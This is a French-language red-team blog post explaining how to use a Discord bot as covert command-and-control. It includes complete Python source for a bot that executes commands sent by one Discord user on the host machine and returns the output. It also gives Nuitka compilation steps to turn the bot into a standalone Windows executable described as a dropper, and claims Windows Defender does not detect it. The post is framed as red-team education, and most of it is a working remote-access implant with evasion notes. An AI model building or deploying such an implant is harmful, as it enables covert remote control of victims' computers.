Utilisation de Discord comme commande et contrôle (C2) avec Python et Nuitka

Dec 02 2022
Bonjour chers coéquipiers rouges, je pensais à un moyen d'obscurcir le trafic C2 et j'ai eu une idée. Pourquoi ne pas enchaîner le trafic sur certains canaux vérifiés, comme Discord ? Mais que faire si Discord n'est pas installé sur la cible ? J'aborderai cela plus tard.

Bonjour chers coéquipiers rouges, je pensais à un moyen d'obscurcir le trafic C2 et j'ai eu une idée. Pourquoi ne pas enchaîner le trafic sur certains canaux vérifiés, comme Discord ? Mais que faire si Discord n'est pas installé sur la cible ? J'aborderai cela plus tard. J'ai eu moi-même une certaine expérience dans le développement de Discord Bots, mon serveur Discord (pour partager les connaissances et l'expérience de pentesting / red teaming) a un bot Discord codé manuellement, basé sur python.

Sentez-vous le bienvenu sur le serveur :https://discord.gg/dWCe5ZMvtQ

Aussi, si vous préférez regarder une vidéo au lieu de la lire, vous pouvez la trouver ici :https://youtu.be/LnXOtHhCx08

La théorie

Quel que soit le moteur de programmation, tous les bots discord fonctionnent à peu près de la même manière. Ils utilisent des webhooks pour effectuer des actions que vous leur spécifiez avec des autorisations. Il existe de nombreuses bibliothèques prenant en charge différents langages de programmation. Les bots Discord peuvent être écrits dans à peu près toutes les langues, en suivant la documentation de l'API (https://discord.com/developers/docs/intro).

Les bots Discord sur python utilisent la bibliothèque appelée discord.py (https://discordpy.readthedocs.io/en/stable/)

Il est simple à installer et à utiliser. Le code du bot lui-même est facile à comprendre et à écrire. Revenons maintenant au point principal, comment militariser cela ?

Le problème vient de là, lors de l'exécution du bot, votre PC contourne les pare-feu puisqu'il parle directement aux serveurs Discord. Cela signifie que le trafic est crypté et se trouve sur un canal vérifié. Cela signifie que si nous codons le bot pour lire et écrire des commandes sur un canal spécifique, nous pouvons obtenir une exécution de code cryptée. Le code sur python est super simple, mais il y a un problème majeur. Comment pourrions-nous forcer la cible à exécuter un code python ?

La meilleure solution que j'ai trouvée jusqu'à présent consiste à utiliser Nuitka (https://nuitka.net/) pour compiler le code python dans un PE autonome (Portable Executable). De cette façon, nous avons un compte-gouttes C2 standard. (Nous allons passer en revue quel est le problème majeur de Nuitka)

Maintenant, décomposons les parties de code. Nous devons effectuer les tâches suivantes :

  1. Créer un bot Discord
  2. Joindre le bot au serveur personnalisé
  3. Codez le bot pour traiter les messages utilisateur comme des commandes et pour renvoyer la sortie.
  4. Compiler en PE

Comment créer un bot Discord ?

Aller vershttps://discord.com/login?redirect_to=%2Fdevelopers%2Fapplications

Cliquez sur Nouvelle application :

Donne lui un nom:

Cliquez ensuite sur le sous-menu Bot :

Ajouter un robot :

Assurez-vous d'activer toutes les intentions (en particulier celle du message)

Encore une chose à faire, allez sur votre bot et réinitialisez le jeton, enregistrez le nouveau dans un endroit sûr. Cela sera nécessaire pour l'étape 3.

Comment ajouter le bot à mon serveur ?

Maintenant que le bot est prêt, pour l'ajouter, cliquez sur le générateur d'URL sous le menu Oauth2.

Cochez Bot -> Administrateur -> Copiez et collez l'URL dans le navigateur. Ensuite, choisissez simplement le serveur sur lequel le bot doit être ajouté.

Comment coder le bot ?

Vient maintenant la partie amusante!

Analysons le morceau de code suivant :

from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time

DISCORD_TOKEN = "Token from step 1"

def Exec(cmd):
    output = subprocess.check_output(cmd, shell=False)
    return output


intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)



@bot.command()
async def IssueCmd(ctx, arg):
    await ctx.send(arg)

@bot.event
async def on_message(message):   
    if(message.author.id == 1046317520178663534):
        await message.channel.send(Exec(message.content).decode("utf-8"))

if __name__ == "__main__":

    bot.run(DISCORD_TOKEN)

Les premières lignes sont les importations de la bibliothèque et le jeton statique de l'étape 1.

from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time

DISCORD_TOKEN = "Token from step 1"

def Exec(cmd):
    output = subprocess.check_output(cmd, shell=False)
    return output

intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)

@bot.command()
async def IssueCmd(ctx, arg):
    await ctx.send(arg)

@bot.event
async def on_message(message):   
    #obviously replace the userid with your own
    if(message.author.id == 1046317520178663534#obv):
        await message.channel.send(Exec(message.content).decode("utf-8"))

if __name__ == "__main__":

    bot.run(DISCORD_TOKEN)

Maintenant la partie difficile.

Comment compiler le code en PE ?

Pour le but, je me suis arrêté à Nuitka. Il est assez simple à utiliser. Nous devons simplement être patient. Il nécessite le compilateur MinGW-64, mais il téléchargera automatiquement une version appropriée la première fois que vous l'exécuterez.

Pour installer nuitka, vous pouvez simplement aller avec

pip install nuitka

python -m nuitka --mingw64 .\main.py --standalone --onefile

Qu'en est-il de Windows Defender ?

Tout est clair pour lui.

Qu'en est-il des vendeurs d'Antiscanme ?

La taille du fichier était extrêmement grande pour moi de le télécharger. Si vous avez un laboratoire dédié avec un groupe de fournisseurs AV, n'hésitez pas à l'essayer contre eux.

J'attendrai vos résultats sur mon twitter !

Quel est le problème?

Comme il générait un PE unique et autonome, Nuitka avait besoin de combiner toutes les bibliothèques et de les compiler toutes ensemble. C'est pourquoi le processus était lent et que le fichier avait une taille de plus de 40 Mo. C'est évidemment un problème que nous aborderons à l'avenir. Un autre problème est la fenêtre contextuelle gênante lors de l'exécution. De plus, beaucoup de choses peuvent être effectuées, telles que l'injection de processus, mais je doute que nous puissions y parvenir avec cette taille de fichier énorme. On laissera ça pour le prochain !

Emballer

Soyez toujours aussi créatif que possible. Plus vous avez de connaissances, plus vous aurez d'opportunités de mettre en œuvre votre créativité. Même si la version actuelle est loin d'être utilisable, je pense qu'elle donne une base solide sur quoi s'appuyer. Le C2 fonctionnait très bien, son seul problème était la taille du fichier. Après tout, rien n'est parfait.

Merci d'avoir lu et j'espère que vous avez appris quelque chose de nouveau.

Vous pouvez soutenir mon travail en m'offrant un café :https://www.buymeacoffee.com/lsecqt